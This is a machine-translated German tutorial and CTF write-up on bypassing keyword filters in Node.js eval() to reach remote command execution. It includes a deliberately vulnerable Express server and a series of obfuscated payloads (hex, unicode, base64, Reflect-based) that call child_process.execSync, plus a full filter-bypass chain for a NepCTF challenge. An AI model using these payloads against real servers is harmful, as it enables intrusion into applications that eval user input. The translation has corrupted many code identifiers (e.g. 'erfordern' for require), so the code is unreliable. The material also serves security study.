In PHP ist die Ausführung von Eval-Code ein bekanntes Thema, und es werden verschiedene Tricks verwendet, um die Ausführung von PHP-Code zu umgehen. In diesem Artikel geht es hauptsächlich um einige Bypass-Ideen in Node.JS. 1. untergeordneter ProzessLassen Sie mich zunächst das child_process-Modul in nodejs vorstellen, das zum Ausführen von Systembefehlen verwendet wird. Nodejs verwendet das Modul child_process, um mehrere untergeordnete Prozesse zu erzeugen, die andere Aufgaben erledigen. Es gibt sieben Methoden in child_process: execFileSync, spawnSync, execSync, fork, exec, execFile und spawn, und alle diese Methoden verwenden die Methode spawn(). Da Fork eine andere untergeordnete Prozessdatei ausführt, sind hier die Verwendungen anderer Funktionen neben Fork aufgeführt. erfordern("untergeordneter_Prozess").exec("sleep 3"); erfordern("untergeordneter_Prozess").execSync("sleep 3"); require("child_process").execFile("/bin/sleep",["3"]); //Rufen Sie eine ausführbare Datei auf und übergeben Sie Argumente im zweiten Parameter erfordern("Kindprozess").spawn('sleep', ['3']); erfordern("Kindprozess").spawnSync('sleep', ['3']); erfordern("untergeordneter_Prozess").execFileSync('sleep', ['3']); Unten rufen verschiedene Funktionen tatsächlich Spawn auf. Wenn Sie interessiert sind, können Sie den Quellcode einsehen. const child = spawn(Datei, Argumente, { cwd: Optionen.cwd, Umgebung: Optionen.Umgebung, gid: Optionen.gid, uid: Optionen.uid, Shell: Optionen.Shell, windowsHide: !!Optionen.windowsHide, windowsVerbatimArguments: !!Optionen.windowsVerbatimArguments }); 2. Befehlsausführung in nodejsUm die Codeausführung zu demonstrieren, habe ich einen minimalen Server mit dem folgenden Code geschrieben: const express = erfordern('express') const bodyParser = erfordern('body-parser') const app = express() app.use(bodyParser.urlencoded({ erweitert: true })) app.post('/', Funktion (Anforderung, Res) { Code = erforderlich.Body.Code; konsole.log(code); res.send(eval(code)); }) app.listen(3000) Das Prinzip ist sehr einfach: Es akzeptiert den von der Post-Methode übergebenen Codeparameter und gibt dann das Ergebnis von eval(code) zurück. In nodejs wird die Funktion eval() auch zum Ausführen von Code verwendet. Für die oben erwähnte rce-Funktion können wir zunächst den folgenden Code abrufen, um rce mithilfe von Code auszuführen. Die folgenden Befehle werden alle unter Verwendung des lokalen Curl-Ports ausgeführt. eval('erfordern("untergeordneter_Prozess").execSync("curl 127.0.0.1:1234")') Dies ist die einfachste Situation der Codeausführung. Wenn Entwickler eval verwenden und die Punkte aufrufen, die Benutzereingaben Schicht für Schicht akzeptieren können, lassen sie die Benutzereingaben natürlich nicht einfach direkt eintreten, sondern führen eine gewisse Filterung durch. Wenn beispielsweise das Schlüsselwort „exec“ gefiltert wird, wie können wir es umgehen? Natürlich ist es in der Praxis nicht so einfach. In diesem Artikel geht es nur um Ideen. Sie können es entsprechend den tatsächlich gefilterten Schlüsselwörtern ändern. Nachfolgend sehen Sie den leicht modifizierten Servercode, dem ein reguläres Schlüsselwort „check exec“ hinzugefügt wurde. const express = erfordern('express') const bodyParser = erfordern('body-parser') const app = express() Funktion validcode(Eingabe) { var re = neuer RegExp("exec"); returniere erneuten Test (Eingabe); } app.use(bodyParser.urlencoded({ erweitert: true })) app.post('/', Funktion (Anforderung, Res) { Code = erforderlich.Body.Code; konsole.log(code); wenn (gültiger Code (Code)) { res.send("verboten!") } anders { res.send(eval(code)); } }) app.listen(3000) Es gibt 6 Ansätze:
2.1 Hexadezimale KodierungDie erste Idee ist die hexadezimale Kodierung. Der Grund dafür ist, dass in nodejs, wenn in einer Zeichenfolge Hexadezimalzahlen verwendet werden, das dem ASCII-Code dieser Hexadezimalzahlen entsprechende Zeichen gleichwertig ist (die erste Reaktion ähnelt ein wenig MySQL). console.log("a"==="\x61"); // WAHR Bei der Übereinstimmung mit dem regulären Ausdruck oben wird die Hexadezimalzahl jedoch nicht in Zeichen umgewandelt, sodass die Überprüfung des regulären Ausdrucks umgangen werden kann. So können Sie passieren erfordern("untergeordneter_Prozess")["exe\x63Sync"]("curl 127.0.0.1:1234") 2.2 Unicode-KodierungDie Idee ist ähnlich wie oben. Da JavaScript die direkte Darstellung von Unicode-Zeichen durch Codepunkte ermöglicht, lautet die Schreibweise „Backslash + u + Codepunkt“, sodass wir auch die Unicode-Form eines Zeichens verwenden können, um das entsprechende Zeichen zu ersetzen. console.log("\u0061"==="a"); // WAHR erfordern("untergeordneter_Prozess")["exe\u0063Sync"]("curl 127.0.0.1:1234") 2.3 Pluszeichen-SpleißenDas Prinzip ist sehr einfach. Das Pluszeichen kann verwendet werden, um Zeichen in js zu verbinden, also können Sie dies tun erfordern('untergeordneter_Prozess')['exe'%2b'cSync']('curl 127.0.0.1:1234') 2.4 VorlagenzeichenfolgenVerwandte Inhalte finden Sie auf MDN. Hier ist eine Nutzlast Vorlagenliterale sind Zeichenfolgenliterale, die eingebettete Ausdrücke zulassen. Sie können mehrzeilige Zeichenfolgen und Zeichenfolgeninterpolation verwenden. erfordern('untergeordneter_Prozess')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234') 2.5 VerkettungVerwenden Sie die Concat-Funktion in js, um Zeichenfolgen zu verbinden erfordern("untergeordneter_Prozess")["exe".concat("cSync")]("curl 127.0.0.1:1234") 2.6 Base64-KodierungDies sollte eine konventionellere Idee sein. Auswertung (Puffer.von ('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik =','base64').toString ()) 3. Andere Bypass-MethodenIn diesem Teil geht es hauptsächlich darum, das Denken zu ändern. Die endgültige Idee der oben genannten Methoden besteht darin, das Schlüsselwort „exec“ durch Codierung oder Spleißen zu erhalten. In diesem Teil werden einige Syntax- und integrierte Funktionen von js berücksichtigt. 3.1 ObjektschlüsselTatsächlich ist das von require importierte Modul ein Objekt, sodass Sie die Methoden im Objekt verwenden können, um zu arbeiten und den Inhalt abzurufen. Sie können Object.values verwenden, um die verschiedenen Funktionsmethoden in child_process abzurufen, und dann execSync über den Array-Index abrufen Konsole.log(erfordert('Kindprozess').Konstruktor===Objekt) //WAHR Objekt.Werte(erfordern('child_process'))[5]('curl 127.0.0.1:1234') 3.2 ReflektierenIn js müssen Sie das Schlüsselwort Reflect verwenden, um die Reflexionsmethode zum Aufrufen von Funktionen zu implementieren. Um beispielsweise die eval-Funktion zu erhalten, können Sie zuerst alle Funktionen über Reflect.ownKeys (global) abrufen und dann global [Reflect.ownKeys (global) .find (x => x.includes ('eval'))] verwenden, um eval zu erhalten. console.log(Reflect.ownKeys(global)) //Alle Funktionen zurückgeben console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]) //Auswertung abrufen Nach der Auswertung können Sie RCE mit konventionellem Denken verwenden global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")') Obwohl hier Schlüsselwörter erkannt werden können, können sie mit der oben genannten Methode, z. B. hexadezimal, codiert werden, da Schlüsselwörter wie mainModule, global, child_process usw. alle in der Zeichenfolge enthalten sind. global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29') Hier ist ein kleiner Trick. Wenn Sie das Schlüsselwort „eval“ filtern, können Sie „includes('eva')“ verwenden, um nach der Funktion „eval“ zu suchen, oder Sie können „startswith('eva')“ verwenden, um zu suchen. 3.3 FilterklammernIn 3.2 erfolgt der Weg zum Abrufen der Auswertung über das globale Array, das eckige Klammern [] verwendet. Wenn die eckigen Klammern gefiltert sind, können Sie Reflect.get verwenden, um sie zu umgehen.
Der Weg zur eval-Funktion kann also folgendermaßen aussehen:
Fügen Sie dann einfach die Nutzlast der Befehlsausführung zusammen. 4. NepCTF-gamejsDer erste Schritt dieses Themas ist eine Prototypkettenverschmutzung, und der zweite Schritt ist die Ausführung eines Eval-Befehls. Da dieser Artikel hauptsächlich die Bypass-Methode von Eval behandelt, wird die Prototypkettenverschmutzung entfernt und nur die zweite Hälfte des Bypasses behandelt. Der Code wird wie folgt vereinfacht: const express = erfordern('express') const bodyParser = erfordern('body-parser') const app = express() var gültigerCode = Funktion (Funktionscode) { let validInput = /Unterprozess|Hauptmodul|von|Puffer|Prozess|Unterprozess|Haupt|erfordern|exec|diesen|eval|während|für|Funktion|hex|char|base64|"|'|\[|\+|\*/ig; Rückgabewert !validInput.test(Funktionscode); }; app.use(bodyParser.urlencoded({ erweitert: true })) app.post('/', Funktion (Anforderung, Res) { Code = erforderlich.Body.Code; konsole.log(code); wenn (!gültigerCode(code)) { res.send("verboten!") } anders { var d = '(' + Code + ')'; res.send(eval(d)); } }) app.listen(3000) Da das Schlüsselwort einfache und doppelte Anführungszeichen herausfiltert, können diese hier alle durch Backticks ersetzt werden. Erwägen Sie die Verwendung von Reflection zum Aufrufen von Funktionen zum Erreichen von RCE, ohne Reflect herauszufiltern. Mithilfe der oben genannten Punkte können wir schrittweise eine unerwartete Nutzlast konstruieren. Da die Schlüsselwörter child_process und require gefiltert werden, dachte ich zunächst daran, es vor der Ausführung in Base64 zu kodieren. Auswertung (Puffer.von (`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base64`).toString()) Base64 wird hier gefiltert und kann direkt ersetzt werden durch `Basis`.concat(64) Nachdem Sie den Puffer herausgefiltert haben, können Sie ihn ersetzen durch Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))) Um die Methode Buffer.from abzurufen, können Sie den Index Objekt.Werte(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))))[1] Das Problem ist jedoch, dass das Schlüsselwort auch die Klammern filtert, was einfach ist. Fügen Sie einfach eine weitere Ebene von Reflect.get hinzu Reflect.get(Objekt.Werte(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1) Die Grundnutzlast beträgt also Reflect.get(Objekt.Werte(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`Basis`.concat(64)).toString() Das Problem besteht jedoch darin, dass eval es nach dieser Übergabe nur dekodiert und nicht den dekodierten Inhalt ausführt, sodass eine weitere Eval-Ebene erforderlich ist. Da das Eval-Schlüsselwort gefiltert wird, ziehen wir auch die Verwendung von Reflexion in Betracht, um die Eval-Funktion zu erhalten. Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString()) Wenn Sie Buffer.from abrufen können, gilt das Gleiche mit der Hexadezimalkodierung. Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`676c6f62616c2e70726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f616428226368696c645f70726f6365737322292e6578656353796e6328226375726c203132372e302e302e313a313233342229`,`he`.concat(`x`)).toString()) Aufgrund der oben genannten Eigenschaften von Hexadezimalzahlen und Zeichenfolgen können Sie die Hexadezimalzeichenfolge natürlich auch direkt nach der Auswertung übergeben. Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(`\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29`) Ich finde, dass die Art und Weise, wie NodeJS mit Strings umgeht, zu flexibel ist. Wenn eine Auswertung möglich ist, ist es besser, keine String-Blacklist zum Filtern zu verwenden. Danke an meinen Frontend-Bruder Semesse für seine Hilfe Referenzlinks https://xz.aliyun.com/t/9167 ZusammenfassenDies ist das Ende dieses Artikels mit einigen Tipps zum Umgehen der Node.js-Codeausführung. Weitere Informationen zum Umgehen der Node.js-Codeausführung finden Sie in den vorherigen Artikeln von 123WORDPRESS.COM oder in den folgenden verwandten Artikeln. Ich hoffe, dass jeder 123WORDPRESS.COM in Zukunft unterstützen wird! Das könnte Sie auch interessieren:
|
<<: Best Practices für MySQL-Upgrades
>>: Detaillierte Erläuterung der MySQL-Lösung zur USE DB-Überlastung
Heute habe ich mir einige Dinge im Zusammenhang m...
Die Frage wird hier zitiert: https://www.zhihu.co...
Vorwort: Apropos Sandboxen: Wir denken vielleicht...
In diesem Artikel wird der spezifische Code des W...
Standardmäßig unterstützt Nginx nur ein SSL-Zerti...
Installieren Sie CentOS 7 nach der Installation v...
In diesem Artikel wird der spezifische Code für J...
Fehler tritt auf: Beim Exportieren der Datenbank ...
Inhaltsverzeichnis Installieren Sie Sakila Index-...
CSS realisiert den Prozessnavigationseffekt. Der ...
Lua installieren wget http://luajit.org/download/...
(1) Experimentelle Umgebung youxi1 192.168.5.101 ...
Der Tomcat-Server ist ein kostenloser und quellof...
Als ich heute die Anmeldeseite geschrieben habe, ...
Inhaltsverzeichnis Vorwort Ergebnisse erzielen Co...